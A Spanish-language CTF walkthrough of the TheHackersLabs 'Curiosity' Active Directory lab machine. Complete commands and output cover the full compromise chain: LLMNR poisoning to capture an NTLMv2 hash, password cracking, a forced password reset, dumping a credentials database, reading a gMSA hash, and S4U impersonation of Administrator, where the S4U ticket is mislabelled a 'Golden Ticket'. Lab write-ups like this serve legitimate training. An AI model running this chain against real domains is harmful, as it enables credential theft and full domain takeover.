Curiosity – TheHackersLabs Link to heading
- OS: Windows
- Difficulty: Easy
- Platform: TheHackersLabs
Resumen Link to heading
“Curiosity” es una máquina enfocada a entornos Active Directory de la plataforma TheHackersLabs
. Somos capaces de realizar un LLMNR
poisining y así sniffear un hash NTLMv2
para un usuario. Podemos crackear este hash y así ganar acceso a la máquina víctima. Luego de realizar un reconocimiento del dominio con la herramienta Bloodhound
, vemos que somos capaces de cambiar la contraseña de otro usuario dentro del dominio; al cual se la cambiamos y logramos pivotear a éste. Este nuevo usuario es capaz de leer bases de datos dentro del sistema. Entre ellas somos capaces de encontrar un hash de contraseña de un nuevo usuario el cual somos nuevamente capaces de crackear. Este nuevo usuario puede leer el hash de una cuenta GMSA
. Este última cuenta es capaz de solicitar un ticket como el usuario Administrador
, lo cual nos permite tomar control total sobre el sistema.
User / Usuario Link to heading
Empezamos con un rápido y silencioso escaneo con Nmap
sobre la máquina víctima:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 192.168.56.8
Encontramos múltiples puertos abiertos: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 139
NetBios
, 389
LDAP
,445
SMB
, 5985
WinRM
; entre otros.
Luego, aplicamos algunos scripts de reconocimiento sobre estos puertos con la flag -sVC
:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49670,49674,49675,49676,49687,49691,49700,49718 192.168.56.8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-18 22:31 -03
Nmap scan report for 192.168.56.8
Host is up (0.0030s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-18 20:32:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:2C:03:AB (Oracle VirtualBox virtual NIC)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -5h00m02s, deviation: 0s, median: -5h00m02s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2c:03:ab (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2024-11-18T20:33:04
|_ start_date: 2024-11-18T20:12:28
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.10 seconds
Estamos ante un entorno Active Directory
.
Apicando un rápido escaneo sobre el servicio SMB
con la herramienta NetExec
obtenemos:
❯ nxc smb 192.168.56.8
SMB 192.168.56.8 445 DC [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
Tenemos un dominio: hackme.thl
y un nombre de máquina DC
. Podemos agregar tanto el dominio como el FQDN
a nuestro archivo /etc/hosts
:
❯ echo '192.168.56.8 hackme.thl DC.hackme.thl' | sudo tee -a /etc/hosts
Podemos entonces intentar un LLMNR
poisoning con la herramienta Responder
:
❯ sudo responder -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
<SNIP>
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to fe80::34b6:e423:d273:59ec for name SQLserver
[*] [NBT-NS] Poisoned answer sent to 192.168.56.8 for name SQLSERVER (service: File Server)
[*] [LLMNR] Poisoned answer sent to 192.168.56.8 for name SQLserver
[*] [LLMNR] Poisoned answer sent to fe80::34b6:e423:d273:59ec for name SQLserver
[*] [LLMNR] Poisoned answer sent to 192.168.56.8 for name SQLserver
[SMB] NTLMv2-SSP Client : fe80::34b6:e423:d273:59ec
[SMB] NTLMv2-SSP Username : hackme\jdoe
[SMB] NTLMv2-SSP Hash : jdoe::hackme:15f4feba58b67f3b:E53D00AAA9CA2BB25393E643B90A7B24:010100000000000000F188730A3ADB01F0BF68385C4193E40000000002000800430051005A00310001001E00570049004E002D00560049004B005A0059004E0053005A0033005400390004003400570049004E002D00560049004B005A0059004E0053005A003300540039002E00430051005A0031002E004C004F00430041004C0003001400430051005A0031002E004C004F00430041004C0005001400430051005A0031002E004C004F00430041004C000700080000F188730A3ADB0106000400020000000800300030000000000000000000000000400000AAF8ED33381DC3A80A9A6E568ACAE138A51AF89F59FEBCAC04FBCE748F24CCA20A0010000000000000000000000000000000000009001C0063006900660073002F00530051004C00730065007200760065007200000000000000000000000000
Obtenemos un hash para el usuario jdoe
. Guardamos este hash en un archivo llamado jdoe_hash
.
Luego, tratamos de crackear este hash a través de un Brute Force Password Cracking
con la herramienta JohnTheRipper
junto con el diccionario de contraseñas rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt jdoe_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:06 DONE (2024-11-18 22:55) 0g/s 2066Kp/s 2066Kc/s 2066KC/s 0841079575..*7¡Vamos!
Session completed.
Pero no somos capaces de crackearlo.
Podemos tratar de utilizar diccionarios del repositorio SecLists
, utilizando todos ellos en un oneliner de Bash
(además, dado que el hash encontrado es un hash de tipo NTLMv2
, éste no requiere de mucha potencia de cálculo):
❯ for dict in /usr/share/seclists/Passwords/*.txt; do echo -e "\n\n[+] Attempting with $dict dictionary...\n"; john --wordlist=${dict} jdoe_hash; done
[+] Attempting with /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt dictionary...
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-11-18 23:18) 0g/s 4925p/s 4925c/s 4925C/s 123456..angel1
Session completed.
<SNIP>
[+] Attempting with /usr/share/seclists/Passwords/seasons.txt dictionary...
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
$pr1ng@ (jdoe)
1g 0:00:00:00 DONE (2024-11-18 23:18) 33.33g/s 85333p/s 85333c/s 85333C/s $pr1ng..Spr1ng1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
<SNIP>
Uno de los diccionarios logra crackear el hash:
❯ john --show jdoe_hash
jdoe:$pr1ng@:hackme:15f4feba58b67f3b:E53D00AAA9CA2BB25393E643B90A7B24:010100000000000000F188730A3ADB01F0BF68385C4193E40000000002000800430051005A00310001001E00570049004E002D00560049004B005A0059004E0053005A0033005400390004003400570049004E002D00560049004B005A0059004E0053005A003300540039002E00430051005A0031002E004C004F00430041004C0003001400430051005A0031002E004C004F00430041004C0005001400430051005A0031002E004C004F00430041004C000700080000F188730A3ADB0106000400020000000800300030000000000000000000000000400000AAF8ED33381DC3A80A9A6E568ACAE138A51AF89F59FEBCAC04FBCE748F24CCA20A0010000000000000000000000000000000000009001C0063006900660073002F00530051004C00730065007200760065007200000000000000000000000000
1 password hash cracked, 0 left
Tenemos credenciales: jdoe:$pr1ng@
.
Podemos revisar si esta contraseña funciona para el servicio SMB
con la herramienta NetExec
:
❯ nxc smb 192.168.56.8 -u 'jdoe' -p '$pr1ng@'
SMB 192.168.56.8 445 DC [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.8 445 DC [+] hackme.thl\jdoe:$pr1ng@
Este usuario también tiene acceso a la máquina víctima a través del servicio WinRM
:
❯ nxc winrm 192.168.56.8 -u 'jdoe' -p '$pr1ng@'
WINRM 192.168.56.8 5985 DC [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
WINRM 192.168.56.8 5985 DC [+] hackme.thl\jdoe:$pr1ng@ (Pwn3d!)
De manera que usamos las credenciales de este usuario junto con la herramienta evil-winrm
para ganar acceso a la máquina víctima:
❯ evil-winrm -i 192.168.56.8 -u 'jdoe' -p '$pr1ng@'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents>
Podemos obtener la flag de usuario en el Desktop de este usuario.
NT Authority/System - Administrador Link to heading
Revisando información acerca de este usuario tenemos:
*Evil-WinRM* PS C:\Users\jdoe\Documents> net user jdoe
User name jdoe
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 17/10/2024 11:36:44
Password expires Never
Password changeable 18/10/2024 11:36:44
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 18/11/2024 21:52:46
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *IT Admins *Domain Users
The command completed successfully.
Hay un grupo IT Admins
el cual no es uno por defecto de los que vienen en un entorno Windows
; es un grupo personalizado.
Podemos subir entonces SharpHound
(la cual puede ser descargada desde su repositorio de Github) to get info about the Active Directory
environment. Since we have a session with evil-winrm
we can copy a binary SharpHound.exe
en la ruta donde habíamos iniciado sesión con evil-winrm
en nuestra máquina de atacante y subirla a la máquina víctima ejecutando el comando upload
:
*Evil-WinRM* PS C:\Users\jdoe\Downloads> upload SharpHound.exe
Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Curiosity/content/SharpHound.exe to C:\Users\jdoe\Downloads\SharpHound.exe
Data: 2075988 bytes of 2075988 bytes copied
Info: Upload successful!
Una vez subido, simplemente ejecutamos esta herramienta:
*Evil-WinRM* PS C:\Users\jdoe\Downloads> .\SharpHound.exe -c All
2024-11-18T22:31:12.8851814+01:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2024-11-18T22:31:13.1351870+01:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-11-18T22:31:13.1826864+01:00|INFORMATION|Initializing SharpHound at 22:31 on 18/11/2024
<SNIP>
1 name to SID mappings.
1 machine sid mappings.
4 sid to domain mappings.
0 global catalog mappings.
2024-11-18T22:31:17.3078327+01:00|INFORMATION|SharpHound Enumeration Completed at 22:31 on 18/11/2024! Happy Graphing!
Esto debería de generar 2 archivos, un archivo .bin
y otro .zip
. En nuestro caso nos interesa el archivo .zip
, de manera que lo descargamos desde la máquina víctima a nuestra máquina de atacantes utilizando el comando download
de evil-winrm
:
*Evil-WinRM* PS C:\Users\jdoe\Downloads> dir
Directory: C:\Users\jdoe\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/18/2024 10:31 PM 36816 20241118223115_BloodHound.zip
-a---- 11/18/2024 10:31 PM 1852 MGVmMzZlNzEtOGNkZi00MTFiLThlMmUtNTBhODliZjlhNDgz.bin
-a---- 11/18/2024 10:28 PM 1556992 SharpHound.exe
*Evil-WinRM* PS C:\Users\jdoe\Downloads> download 20241118223115_BloodHound.zip
Info: Downloading C:\Users\jdoe\Downloads\20241118223115_BloodHound.zip to 20241118223115_BloodHound.zip
Info: Download successful!
Subimos el archivo .zip
a Bloodhound
(en mi caos uso la Community Edition
, o CE
). Buscando por el grupo IT Admins
, y clickeando en Outbound Object Control
podemos ver:
Tenemos el permiso ForceChangePassord
y GenericWrite
sobre el usuario dba_adm
. Es decir, podríamos cambiar su contraseña u obtener su hash de usuario.
dba_adm
user does not belong to a special group or have special rights. But its name indicates that it should be able to access to some database service.
Iremos por la primera opción; cambiar su contraseña. Para ello usamos la herramienta impacket-changepasswd
:
❯ impacket-changepasswd HACKME.THL/'dba_adm'@192.168.56.8 -newpass 'gunzf0x123$!' -altuser 'jdoe' -altpass '$pr1ng@' -no-pass -reset
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of HACKME.THL\dba_adm as HACKME.THL\jdoe
[*] Connecting to DCE/RPC as HACKME.THL\jdoe
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Revisamos si el cambio de contraseña ha tenido efecto:
❯ nxc smb 192.168.56.8 -u 'dba_adm' -p 'gunzf0x123$!'
SMB 192.168.56.8 445 DC [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.8 445 DC [+] hackme.thl\dba_adm:gunzf0x123$!
❯ nxc winrm 192.168.56.8 -u 'dba_adm' -p 'gunzf0x123$!'
WINRM 192.168.56.8 5985 DC [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
WINRM 192.168.56.8 5985 DC [+] hackme.thl\dba_adm:gunzf0x123$! (Pwn3d!)
Funcionó.
El nombre dba_admin
sugiere que este usuariuo está relacionado a bases de datos. Para ver si hay algún servicio MSSQL
corriendo podemos solicitar los registros:
*Evil-WinRM* PS C:\Users\jdoe\Documents> reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL
SQLEXPRESS REG_SZ MSSQL15.SQLEXPRESS
Tenemos un server llamado SQLEXPRESS
.
Ergo, el nombre del servicio completo es DC\SQLEXPRESS
(el cual es <nombre de la máquina>\<servicio>
).
Podemos usar la herramienta sqlcmd
para conectarnos a la base de datos internamente. Primero, revisemos a qué tenemos acceso. Podemos ejecutar algunos comandos para MSSQL
dados por HackTricks:
*Evil-WinRM* PS C:\Users\jdoe\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'select @@version;'
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
Express Edition (64-bit) on Windows Server 2016 Datacenter 10.0 <X64> (Build 14393: ) (Hypervisor)
(1 rows affected)
Revisando las bases de datos:
*Evil-WinRM* PS C:\Users\jdoe\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'SELECT name FROM master.dbo.sysdatabases;'
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
CredentialsDB
(5 rows affected)
Podemos ver una base de datos llamada CredentialsDB
. Si tratamos de leer ésta como el usuario jdoe
no podemos:
*Evil-WinRM* PS C:\Users\jdoe\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'SELECT * FROM CredentialsDB.INFORMATION_SCHEMA.TABLES;'
Msg 916, Level 14, State 2, Server DC\SQLEXPRESS, Line 1
The server principal "HACKME\jdoe" is not able to access the database "CredentialsDB" under the current security context.
Pero si intentamos esto mismo como el usuario dba_admin
, sí podemos leerla:
*Evil-WinRM* PS C:\Users\dba_adm\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'SELECT * FROM CredentialsDB.INFORMATION_SCHEMA.TABLES;'
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
-------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ----------
CredentialsDB dbo Credentials BASE TABLE
(1 rows affected)
Dentro podemos ver una tabla llamada Credentials
. Podemos extraer su contenido ejecutando:
*Evil-WinRM* PS C:\Users\dba_adm\Documents> sqlcmd -E -S DC\SQLEXPRESS -d CredentialsDB -Q "SELECT * FROM dbo.Credentials;"
ID Username Password
----------- -------------------------------------------------- ----------------------------------------------------------------------------------------------------
1 sqlsvc 23012244084524e51305f015727b890b
(1 rows affected)
Un hash para el usuario sqlsvc
, el cual guardamos en nuestra máquina de atacantes.
Este parece ser un hash de tipo MD5
; tal cual se puede verificar con hash-identifier
:
❯ hash-identifier
<SNIP>
--------------------------------------------------
HASH: 23012244084524e51305f015727b890b
Possible Hashs:
[+] MD5
<SNIP>
Podemos entonces intentar otro Brute Force Password Cracking
. Si usamos el diccionario rockyou.txt
nuevamente no somos capaces de crackear la contraseña. Al igual a como lo hicimos con el usuario jdoe
, podemos utilizar diccionarios de SecLists
en un simple oneliner de Bash
:
❯ for dict in /usr/share/seclists/Passwords/Leaked-Databases/*.txt; do echo -e "\n\n[+] Attempting with $dict dictionary...\n"; john --wordlist=$dict hash_db_credentials --format=Raw-MD5; done
<SNIP>
[+] Attempting with /usr/share/seclists/Passwords/Leaked-Databases/fortinet-2021_passwords.txt dictionary...
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssword1234! (?)
1g 0:00:00:00 DONE (2024-11-19 01:38) 50.00g/s 2726Kp/s 2726Kc/s 2726KC/s p@55w0rd..P0l1c14.2019
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
<SNIP>
Tenemos credenciales: sqlvc:P@ssword1234!
.
Revisamos si esta nueva credencial funciona:
❯ nxc smb 192.168.56.8 -u 'sqlsvc' -p 'P@ssword1234!'
SMB 192.168.56.8 445 DC [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.8 445 DC [+] hackme.thl\sqlsvc:P@ssword1234!
❯ nxc winrm 192.168.56.8 -u 'sqlsvc' -p 'P@ssword1234!'
WINRM 192.168.56.8 5985 DC [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
WINRM 192.168.56.8 5985 DC [+] hackme.thl\sqlsvc:P@ssword1234! (Pwn3d!)
Funciona.
De vuelta a Bloodhound
, buscando por este nuevo usuario, revisamos qué es capaz de hacer:
Este usuario tiene el permiso ReadGMSAPassword
sobre la machine account GMSA_SVC$
.
Podemos obtener fácilmente el hash de esta cuenta utilizando NetExec
junto con su modo LDAP
y el módulo --gmsa
:
❯ nxc ldap 192.168.56.8 -u 'sqlsvc' -p 'P@ssword1234!' --gmsa
SMB 192.168.56.8 445 DC [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
LDAPS 192.168.56.8 636 DC [+] hackme.thl\sqlsvc:P@ssword1234!
LDAPS 192.168.56.8 636 DC [*] Getting GMSA Passwords
LDAPS 192.168.56.8 636 DC Account: GMSA_SVC$ NTLM: b7a596258a854cdcf1d44d42d877c3bb
Luego, buscamos qué es lo que puede hacer la cuenta GMSA_SVC$
en Bloodhound
. Buscamos por un “camino” (path) el cual nos dé acceso al usuario Administrator
. Podemos ver que podemos solicitar un ticket al servicio CIFS
(es decir, SMB
) y así impersonar al usuario Administrator
.
Para ello podemos usar la herramienta getST.py
de Impacket
(junto con la herramienta faketime
y ntpdate
para evitar el error KRB_AP_ERR_SKEW(Clock skew too great)
):
❯ faketime "$(ntpdate -q 192.168.56.8 | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC.hackme.thl -impersonate administrator -dc-ip 192.168.56.8 'hackme.thl/GMSA_SVC$' -hashes ':b7a596258a854cdcf1d44d42d877c3bb' -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_DC.hackme.thl@HACKME.THL.ccache
Hemos generado así un Golden Ticket
. Podemos usar este ticket para autenticarnos ante cualquier servicio. Por ejemplo, lo podemos usar con la herramienta wmiexec.py
para loguearnos en la máquina víctima:
❯ KRB5CCNAME=administrator@cifs_DC.hackme.thl@HACKME.THL.ccache impacket-wmiexec -k -no-pass Administrator@DC.hackme.thl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.
Pero obtenemos un error. Afortunadamente, este error es similar al error de reloj de Kerberos
el cual puede ser fácilmente solucionado usando faketime
:
❯ KRB5CCNAME=administrator@cifs_DC.hackme.thl@HACKME.THL.ccache faketime "$(ntpdate -q 192.168.56.8 | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass administrator@DC.hackme.thl -target-ip 192.168.56.8
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
hackme\administrator
GG. Podemos leer el archivo root.txt
en el directorio del usuario Administrator
.
~Happy Hacking.